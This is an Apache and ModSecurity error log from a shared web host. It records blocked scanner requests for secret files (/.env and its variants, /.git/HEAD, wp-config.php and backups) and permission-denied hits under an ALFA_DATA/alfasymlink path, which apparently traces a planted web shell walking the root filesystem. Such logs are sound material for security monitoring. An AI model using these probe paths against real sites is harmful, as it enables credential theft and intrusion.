[Mon Oct 26 01:06:26.281992 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 23.21.179.120:6708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:06:34.197329 2026] [ssl:error] [pid 2967015:tid 2967015] (70014)End of file found: [client 52.71.46.142:12108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:06:38.189012 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 18.211.148.239:1180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:06:52.138645 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 185.191.171.3:43418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/total_objects
[Mon Oct 26 01:07:06.373599 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 52.45.29.57:51318] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:07:26.233191 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 3.94.40.182:4711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:07:30.345621 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 98.83.94.113:50994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:07:34.386096 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 18.205.127.11:53724] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:07:58.267055 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 100.28.118.16:58128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:02/physical_node/remove
[Mon Oct 26 01:08:01.621980 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 85.208.96.208:34918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:08:02.433032 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 34.231.118.144:61884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:08:06.523549 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 100.28.57.133:15398] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:08:14.999038 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 54.157.84.74:19640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:08:18.298632 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 34.225.138.57:30021] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers_probe
[Mon Oct 26 01:08:22.753021 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 44.209.89.189:46092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:08:26.340050 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 34.224.9.144:35613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:08:30.450798 2026] [core:error] [pid 2963523:tid 2963523] (13)Permission denied: [client 100.28.57.133:47364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/ptmx/subsystem/ttyS2/uartclk
[Mon Oct 26 01:08:50.500928 2026] [authz_core:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:08:50.501750 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at7gYi6PAR37GVpLG07wjwAAAB4"]
[Mon Oct 26 01:08:50.501791 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at7gYi6PAR37GVpLG07wjwAAAB4"]
[Mon Oct 26 01:08:51.449553 2026] [authz_core:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:08:52.264124 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at7gZC6PAR37GVpLG07wkQAAAB4"]
[Mon Oct 26 01:08:52.264372 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at7gZC6PAR37GVpLG07wkQAAAB4"]
[Mon Oct 26 01:08:52.264685 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at7gZC6PAR37GVpLG07wkQAAAB4"]
[Mon Oct 26 01:08:52.727150 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at7gZO_gYH4r7PJxdAi0NAAAAAE"]
[Mon Oct 26 01:08:52.727431 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at7gZO_gYH4r7PJxdAi0NAAAAAE"]
[Mon Oct 26 01:08:52.727755 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/HEAD"] [unique_id "at7gZO_gYH4r7PJxdAi0NAAAAAE"]
[Mon Oct 26 01:08:53.024642 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gZS6PAR37GVpLG07wkgAAAB4"]
[Mon Oct 26 01:08:53.024871 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gZS6PAR37GVpLG07wkgAAAB4"]
[Mon Oct 26 01:08:53.025150 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gZS6PAR37GVpLG07wkgAAAB4"]
[Mon Oct 26 01:08:53.025896 2026] [security2:error] [pid 2948938:tid 2948938] [client 129.213.151.234:60504] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at7gZVN_bUq_OQDpNPOoJgAAAAo"]
[Mon Oct 26 01:08:53.026134 2026] [security2:error] [pid 2948938:tid 2948938] [client 129.213.151.234:60504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at7gZVN_bUq_OQDpNPOoJgAAAAo"]
[Mon Oct 26 01:08:53.026443 2026] [security2:error] [pid 2948938:tid 2948938] [client 129.213.151.234:60504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at7gZVN_bUq_OQDpNPOoJgAAAAo"]
[Mon Oct 26 01:08:53.028515 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at7gZTwKIe2skRecVagKawAAAAM"]
[Mon Oct 26 01:08:53.028735 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at7gZTwKIe2skRecVagKawAAAAM"]
[Mon Oct 26 01:08:53.029063 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at7gZTwKIe2skRecVagKawAAAAM"]
[Mon Oct 26 01:08:53.030407 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.zip"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.zip"] [unique_id "at7gZVc7AJYJV1LqGIL4xgAAACI"]
[Mon Oct 26 01:08:53.030540 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.zip"] [unique_id "at7gZVc7AJYJV1LqGIL4xgAAACI"]
[Mon Oct 26 01:08:53.030766 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.zip"] [unique_id "at7gZVc7AJYJV1LqGIL4xgAAACI"]
[Mon Oct 26 01:08:53.242100 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gZe_gYH4r7PJxdAi0NQAAAAE"]
[Mon Oct 26 01:08:53.242334 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gZe_gYH4r7PJxdAi0NQAAAAE"]
[Mon Oct 26 01:08:53.242684 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gZe_gYH4r7PJxdAi0NQAAAAE"]
[Mon Oct 26 01:08:53.792094 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at7gZTwKIe2skRecVagKbAAAAAM"]
[Mon Oct 26 01:08:53.792279 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at7gZTwKIe2skRecVagKbAAAAAM"]
[Mon Oct 26 01:08:53.792555 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at7gZTwKIe2skRecVagKbAAAAAM"]
[Mon Oct 26 01:08:53.806037 2026] [security2:error] [pid 2949650:tid 2949650] [client 129.213.151.234:60548] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at7gZfLa-Z693QtLWwrHOwAAABQ"]
[Mon Oct 26 01:08:53.806267 2026] [security2:error] [pid 2949650:tid 2949650] [client 129.213.151.234:60548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at7gZfLa-Z693QtLWwrHOwAAABQ"]
[Mon Oct 26 01:08:53.806634 2026] [security2:error] [pid 2949650:tid 2949650] [client 129.213.151.234:60548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at7gZfLa-Z693QtLWwrHOwAAABQ"]
[Mon Oct 26 01:08:53.876577 2026] [security2:error] [pid 2967981:tid 2967981] [client 129.213.151.234:12828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gZbdUYpe7bc_mIOdw5gAAAAQ"]
[Mon Oct 26 01:08:53.876863 2026] [security2:error] [pid 2967981:tid 2967981] [client 129.213.151.234:12828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gZbdUYpe7bc_mIOdw5gAAAAQ"]
[Mon Oct 26 01:08:53.877250 2026] [security2:error] [pid 2967981:tid 2967981] [client 129.213.151.234:12828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gZbdUYpe7bc_mIOdw5gAAAAQ"]
[Mon Oct 26 01:08:54.049316 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZu_gYH4r7PJxdAi0NgAAAAE"]
[Mon Oct 26 01:08:54.049544 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZu_gYH4r7PJxdAi0NgAAAAE"]
[Mon Oct 26 01:08:54.049924 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZu_gYH4r7PJxdAi0NgAAAAE"]
